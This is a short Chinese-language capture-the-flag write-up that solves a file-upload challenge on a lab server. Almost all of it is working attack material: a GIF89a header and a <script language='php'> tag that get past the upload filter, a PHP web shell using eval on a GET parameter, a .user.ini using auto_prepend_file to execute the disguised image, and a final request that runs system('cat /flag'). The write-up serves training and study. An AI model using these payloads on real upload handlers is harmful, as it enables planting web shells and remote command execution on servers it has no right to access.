拿到题进行简单的测试,发现修改content-type和利用特殊扩展名php5、pht等都没有成功
发现添加图片头文件就可以绕过
GIF89a
上传php文件的时候发现过滤了<?
绕过检测
<script language='php'></script>
构造图片马
GIF89a
<script language='php'>eval($_GET['shell']);</script>
既然是黑名单过滤而且可以上传图片马,那我们首先想到的肯定是传一个.htaccess上去来将图片马解析为php,而这种方法经过尝试发现失败了。。。
看了一下服务器是nginx 1.10.3,不存在解析漏洞。
最后查看wp知道是用.user.ini包含指定文件 从而达到解析图片马
最后上传一个.user.ini
GIF89a
auto_prepend_file=a.jpg
最后访问
http://33e11d9c-e919-4c47-9afe-79de142b1a32.node3.buuoj.cn/uploads/2c67ca1eaeadbdc1868d67003072b481/index.php?shell=system(‘cat /flag’);
即可得到flag